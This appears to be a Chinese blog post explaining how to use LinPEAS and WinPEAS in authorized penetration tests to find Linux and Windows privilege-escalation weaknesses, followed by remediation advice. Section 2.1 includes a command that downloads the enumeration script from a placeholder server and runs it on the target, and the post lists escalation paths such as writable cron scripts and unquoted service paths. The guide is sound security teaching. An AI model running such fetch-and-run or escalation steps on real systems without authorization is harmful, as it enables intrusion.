上个月做授权渗透测试拿到一个低权限 WebShell 之后卡了差不多一下午。手工翻 sudo -l、计划任务、SUID 文件能看的都看了就是没找到合适的入口。最后还是 LinPEAS 自动排查时输出了一行不起眼的信息——某个自定义程序带了额外的 capabilities。这类经历在权限提升阶段其实很常见手工枚举拼的是经验和耐心工具拼的是覆盖面两者结合起来才能真正提高命中率。这篇文章想分享的就是我拿 LinPEAS 和 WinPEAS 做权限提升漏洞自动排查时的完整思路。它们不是一键拿权限的脚本而是一套在主机上收集关键信息、标记潜在问题点的辅助工具适合渗透测试、红队评估、安全加固复检时使用。文章会从权限提升的本质出发拆解工具的常用参数、输出解读、真实案例分析以及发现这些问题后该怎么修。无论你是刚接触安全测试的新手还是已经有经验的安全工程师希望都能从里面找到用得上的内容。先说清楚一件事工具再好也只是辅助。实际项目里真正拉开差距的是你拿到输出之后能不能判断哪些条目值得跟进、哪些是误报、哪些需要进一步验证。这也是为什么我坚持把“漏洞自动排查”理解成“自动枚举 人工研判”而不是把工具跑一遍就草草收工。1. 权限提升排查的本质漏洞在系统里切入点却分散1.1 低权限状态下常见的“失控现场”提权排查的对象是攻击者或测试人员已经拿到一个低权限账户之后在授权范围内寻找可能让自己权限变高的点。很多人一提到提权第一反应是内核漏洞觉得只要版本对上就能直接打通。但真实项目里内核漏洞的利用条件往往很苛刻需要精准匹配内核版本、发行版补丁情况、内核编译选项还要面对 SELinux、容器隔离、防护软件等因素。它确实是优先级很高的一类但不是每次都能遇到。更多情况下问题出在配置和运维习惯上。我总结过几个高频出现的方向sudo 规则过度宽松比如低权限用户可以直接以管理员身份执行某个命令而这个命令本身又可以读写任意文件。计划任务以高权限运行但脚本路径可写或者脚本内容引用了不存在的路径。SUID/SGID 位被错误设置系统里多出一些本不该带特殊位的文件。文件 capabilities 配置不当普通程序获得了超出预期的权限能力。环境变量可控导致服务或脚本在运行时加载了恶意库或命令。服务启动脚本可写或者服务二进制文件所在目录权限过宽。凭据残留比如历史命令、配置文件、备份压缩包里藏着明文密码或密钥。这些点往往不会同时出现但只要有其中一个被漏掉后面就可能演变成完整权限丢失。问题最麻烦的地方在于它们分散在系统各个位置手工一个个找非常耗时而且容易因为“只盯着自己熟悉的点”而忽略其他方向。1.2 手工枚举和自动化工具的分工手工枚举在提权环节中的价值是帮你理解系统的运行机制。id看身份sudo -l看特权限定find找特殊文件crontab -l看计划任务ss -tlnp看监听端口这些命令我都还在用而且会反复用。但在一台被长期维护的服务器上文件很多、服务很多、用户也很多纯靠肉眼去扫效率和覆盖率都有限。LinPEAS 这类工具做的事情本质上就是把大量手工检查命令聚合起来把结果按照区块整理再用颜色和关键字把高风险项挑出来。这不是什么黑魔法它并不会主动发起攻击也不包含自动利用逻辑。它更像一个体检中心的自动导检单把常规检查项目全部排好你只需要拿着报告去找专科医生而不是自己抱着病历从头翻到尾。所以我建议的思路是先让工具做一次全量信息收集拿到输出后再针对可疑条目手工复核形成“工具找疑点、人来做判断”的工作流。这条思路在 Linux 和 Windows 上都适用。2. LinPEAS 实战一条命令把 Linux 主机翻个底朝天2.1 工具分发、执行与日志记录在实际评估中LinPEAS 一般不会一开始就在目标机器里待着常见做法是把脚本从自己的控制环境传过去。如果目标能访问你搭建的临时 HTTP 服务直接通过wget或curl拉取最方便比如wget -O /tmp/lpe http://your-server/linpeas.sh chmod x /tmp/lpe /tmp/lpe -a | tee /tmp/linpeas-result.log如果目标环境限制严格无法访问外部地址也可以用 base64 编码后分块粘贴把脚本还原到临时目录再执行。这个方式在跳板机、隔离网络里经常用到但要注意控制输出长度避免把终端搞得一片混乱。执行时我会默认加上-a参数让工具执行尽可能多的检查项。相比默认模式-a会采集更多与网络、进程、文件相关的信息虽然在慢一点的环境中要多等一会儿但信息完整性更好。你也可以先用-s跑一遍快速模式看看有没有明显的高风险点再决定是否补跑全量检查。有一点必须养成习惯所有输出都要落盘。我通常会把结果同时输出到终端和文件tee命令在这里就很合适。原因很简单终端滚动太快等你想回头找某个条目时已经翻不回去了而且后续写报告、做对比、复现分析都需要原始日志。工具跑完后我还会顺手看一眼文件大小和生成时间确认输出没有因为中途断线而缺失。2.2 输出里的颜色信号和分区逻辑LinPEAS 报告里最直观的是颜色标记颜色越靠红代表风险优先级越高。红色一般是“值得马上看”的项黄色是“需要结合上下文判断”的项绿色大部分属于常规信息。很多新手刚拿到输出时会特别兴奋一看到大片红色就觉得漏洞已经到手了实际远没有这么简单。这些颜色本质上来自关键字匹配和预定义规则并不会理解业务场景。举个例子输出里某个用户 home 目录可读可能在测试环境里无关痛痒但在生产环境里可能就是大问题反过来某个 SUID 文件被标红人工检查后发现是备份软件安装时的正常设置也不能只凭颜色就写进漏洞报告。报告本身按区块组织基本逻辑是系统信息、内核信息、用户与权限、软件列表、进程与网络、敏感文件、时间任务等。我不建议跳着乱翻最好是按照区块逐步过一遍每个区块都留个印象。因为提权路径往往不是单点问题而是多个配置问题组合出来的前面看到的环境变量异常可能正好解释了后面某个计划任务为什么会执行了意外命令。2.3 内核漏洞排查版本、编译项与运行环境内核信息是 LinPEAS 报告里我最先看的部分之一。它会输出当前内核版本、发行版版本、gcc 是否可用、系统是否存在容器或虚拟化标记。这些信息共同决定了一个内核漏洞能不能在这台机器上稳定复现。gcc 缺失不代表不能利用但会降低现场编译的可行性。我处理内核信息时有一个原则不在报告一出现“可能存在内核漏洞”时就去网上搜对应版本的利用代码更不会直接在客户生产环境里试。正确顺序是先把报告里展示的完整版本信息记下来回到自己的隔离环境搭建同版本系统确认漏洞利用条件是否满足再回到授权测试环境中验证。这样既避免误操作导致主机崩溃也避免因为环境差异产生大量无效尝试。容器环境尤其要小心。如果 LinPEAS 检测到当前位于容器内那么宿主内核的漏洞是否影响容器需要看容器与宿主的内核共享情况、容器是否具备必要权限、Seccomp/AppArmor 限制等。很多在普通系统上有效的内核漏洞在容器里会因为隔离机制而失效。这类判断需要足够的环境知识不能只靠工具输出下结论。3. 从 LinPEAS 输出里找到真正可落地的路径3.1 sudo、SUID 与 capabilities权限放大点行内常说的“权限放大点”指的就是某个账户在特定条件下能比预期执行更多操作。LinPEAS 在权限相关区块里会把sudo -l的输出解析展示出来。我拿到后先看 NOPASSWD 条目再看看对应命令是不是可以被用户自定义参数、有没有可写的脚本或二进制以及命令执行时依赖了哪些环境变量。只要一个环节可控这条 sudo 规则就有问题。SUID 文件列表是另一个重点。除了/usr/bin、/usr/sbin这类常规目录我尤其关注自定义路径下的 SUID 文件比如/opt、/usr/local、/var下冒出来的可执行文件。手工复核时我一般会先看文件属主和权限再确认这个文件是否真的需要特殊位。一个在/usr/local/bin下、属主为 root、但任意用户可执行的 SUID 小程序本身就是非常可疑的信号。Capabilities 检查也不能忽略。比如某个普通文件被设置了cap_dac_read_search就相当于在一定程度上绕过了文件读权限检查如果某个程序带有cap_setuid还可能影响进程权限转换。LinPEAS 会把这类条目展示出来但判断它有没有实际影响还需要结合文件本身的功能和调用场景。我不建议把所有带 capabilities 的文件都打上高危标签那会掩盖真正有价值的问题。3.2 计划任务、服务单元与 PATH 劫持计划任务在自动化排查里属于“必看项”。判断逻辑并不复杂计划任务是否以高权限用户运行执行脚本路径是否可写脚本所在目录是否被低权限用户控制。这三条只要同时满足基本就是一个可以进一步验证的提权候选点。我遇到过不少系统管理员把脚本写在/home/backup/下目录权限又是 777虽然计划任务本身没问题但脚本可以被任意替换风险一下就上去了。服务单元文件也要重点看。Systemd 的 Unit 文件如果被低权限用户写意味着服务每次启动时执行的内容都是可控的服务真正运行的身份越高后果越严重。LinPEAS 会扫描可写的 Unit 文件但人工复核时我依然会用文件权限信息再确认一遍因为工具是静态扫描有时不会判断该服务是否真的会被触发。除了计划任务本身PATH 环境变量的问题也值得注意。若任务脚本中调用某个命令时没有使用绝对路径而 PATH 里的某个目录又恰好可写那么脚本执行时会先找到恶意同名命令。这种问题在手工检查时很容易忽略LinPEAS 能用上下文帮你发现但最终确认还需要结合脚本内容和实际调度时间。前两年的项目里我也见过有人用动态监控工具来辅助判断比如在后台观察进程启动和文件访问情况等计划任务实际执行时就能看到具体是以什么身份在运行、加载了哪个路径下的程序。3.3 凭据与敏感文件残留在输出中的表现敏感文件区块往往是报告中内容最多的部分关键字也比较多包括 passwd、shadow、history、secret、private 等。不要因为列表太长就跳过这里经常藏着真实凭据。比如.bash_history里的数据库连接命令带着明文密码某配置文件里出现passwordxxx又或者备份归档里打包了.ssh目录这些在高权限目录下也许算不了什么但一旦出现在低权限用户可读的位置就构成了典型的凭据泄漏路径。工具把文件从候选列表中列出来只说明这部分可能有敏感信息不说明一定存在可利用凭据。我习惯拿到列表后挑几个看似异常的文件做内容抽查。通常我会看文件大小、修改时间、属主和权限再决定是否读取。大量历史记录文件可能非常大直接全文读取不现实用grep过滤关键字更高效。比如在历史命令文件里找mysql、password、token、api_key几秒钟就能定位可疑行。需要强调一点如果 LinPEAS 显示当前用户能读取/etc/shadow或者显示某个权限关键文件权限异常这就是需要立即记录的高风险项。无论后续是否继续深入测试第一步都应该是把现场数据保存好方便分析和出报告。别在只看到关键字的时候就直接往上冲先确认权限、再确认内容才能避免把误报当成漏洞。4. WinPEAS 实战Windows 提权点自动排查的关键输出4.1 工具版本、执行方式与结果保存Windows 环境里的排查逻辑和 Linux 有明显差别用到的工具也更多样。WinPEAS 提供了 PowerShell 脚本和可执行文件两种形态实际测试中如果在条件允许的情况下我优先用 exe 版本加载更快也不太受执行策略影响。需要下载到目标机器时同样要注意传输方式和落盘位置评估结束后记得清理。执行命令很直接winPEASx64.exe -fast winpeas-result.txt-fast会跳过部分比较耗时的检查只保留和权限提升相关性较高的项目适合在评估时间有限时使用。如果没有时间压力我更推荐不带-fast跑全量检查覆盖的服务、注册表、文件 ACL 检查会更完整。-quiet可以减少输出的交互提示而-wait则是在每个模块之间停留方便人工分段阅读。运行完成后输出文件需要好好分析。Windows 的输出同样依赖颜色和关键字但比 Linux 环境更容易出现编码问题所以我一般会建议用cmd /c重定向到文件再在本地用编辑器打开避免直接在终端里翻页。如果你是在 PowerShell 里执行可以用Tee-Object同时输出到屏幕和文件效果差不多。4.2 Windows 特有排查项服务、注册表与 TokenWinPEAS 输出里有一类很常见的服务问题叫未引号服务路径。简单来说如果一个服务的可执行文件路径包含空格但路径本身没有被引号包起来系统解析路径时就会产生歧义可能执行到路径中断处的一个恶意文件。这个问题在老旧 Windows 服务器上依然能翻出来。人工验证时只要检查服务路径是否含有空格、路径各级目录是否可被低权限用户写入即可。服务二进制可写也是很典型的配置问题。如果某个以本地系统身份运行的服务它的 exe 文件或所在目录允许普通用户写入那就意味着服务每次重启时都可能被替换成任意程序。WinPEAS 会把服务列表、启动方式、文件权限都展示出来重点看 LocalSystem、NETWORK SERVICE 这类高权限身份再逐个核对文件权限数量不需要多找到一条可疑的就够说明问题。注册表区域里AlwaysInstallElevated一旦开启普通用户启动的安装包也会以高权限执行这是安装策略配置失误。AutoLogon 凭据、注册表中的明文密码也是常见遗留问题。Token 相关输出里SeImpersonatePrivilege、SeBackupPrivilege这类高权限权利项会被标出来因为它们可能影响进程身份转换或文件读取能力。看到这些项时我依然建议先理解该账户当前是否属于高权限组账户本身有没有交互登录条件再判断实际风险。4.3 输出解读与交叉验证Windows 的输出比 Linux 更依赖系统状态和策略上下文。我一般不会单靠 WinPEAS 一份报告下结论而是会和其它同类工具做交叉验证。PowerUp 在检测常用提权配置方面比较成熟BeRoot 也擅长检查 Windows 下的提权点几份报告放在一起重合部分的可信度会明显提高。工具标出的条目都需要手工回查。比如未引号服务路径我会用服务管理器确认路径再用文件系统权限命令查看目录 ACL可写注册表项也会实际确认当前用户是否真的具备写入权限Token 输出还需要结合当前进程身份和策略配置来判断。大部分误报都源自工具只看了配置项没看业务实际状态。我在实际操练中养成的习惯是每一条准备写进报告的问题都至少包含“现象、影响条件、修复建议”三要素。现象来自工具和人工确认影响条件需要明确说明在什么身份下可以触发修复建议要具体到命令或操作级别。只有这样的漏洞清单对后续的处置人员才有实际价值。5. 排查之后从漏洞发现到系统加固5.1 自动排查结果如何转成加固清单工具的最终价值不应该只是帮评估方找到入口更要帮防守方看清问题在哪。一次完整的加固转化通常是把排查输出变成一份可执行的处置表。下表是我常用的一种格式供参考发现项风险原因处置建议优先级某个全局可写目录被计划任务脚本引用计划任务以高权限执行并调用可写目录下命令将脚本迁移到独立受控目录并收紧目录写权限任务中全部使用绝对路径高SUID 文件出现在非标准目录且用途不明可能通过特殊位获得超出预期的权限移除多余特殊位审查文件来源确认后重新部署中服务路径存在空格且未加引号系统解析路径时可能被劫持在服务配置中使用引号包裹可执行文件路径高AlwaysInstallElevated 处于开启状态普通用户可能以高权限安装软件在本地策略和域策略中关闭该选项中用户目录下出现包含凭据的明文配置文件可能造成敏感信息泄漏删除明文凭据改用凭据管理器或密钥存储机制高系统长时间未更新内核及关键补丁可能存在已公开漏洞建立补丁管理流程限期修复并做变更回退预案高这份表格的核心是把“发现项”和“业务影响”绑定起来而不是简单列个文件列表。加固动作也要按优先级排期高优先级的问题尽量当天处理。防护上还建议配合文件完整性监控和命令审计至少能在问题发生后快速定位是哪台主机、哪个账户、什么时间点发生了变化。5.2 给使用工具的人一点忠告工具不是银弹这句话我每次分享都会提。评估中遇到过不少客户看到报告里一片红色就紧张结果人工复查后发现只是某个监控软件的常规行为反过来也有机器扫完看起来很干净但因为没有检查计划任务组合逻辑实际依然存在路径问题。误报和漏报都不可避免关键是你能不能通过上下文判断哪些条目值得跟进。我的经验是使用 LinPEAS 或 WinPEAS 时一定要清楚自己在分析什么环境。同一份报告里一个 SUID 文件在开发测试机和银行核心业务系统里的风险等级完全不同同一个环境变量问题在不同体系下造成的后果也不一样。工具给出的只是线索你对系统机制的理解才决定了这些线索能不能被正确解读。最后再提一句合规。无论 LinPEAS、WinPEAS 还是其它安全评估工具都应该在明确授权和合法场景下使用。每次跑完工具后我也会把临时上传的文件、产生的日志清理干净保留必要的证据记录这也是安全从业者最基础的职业习惯。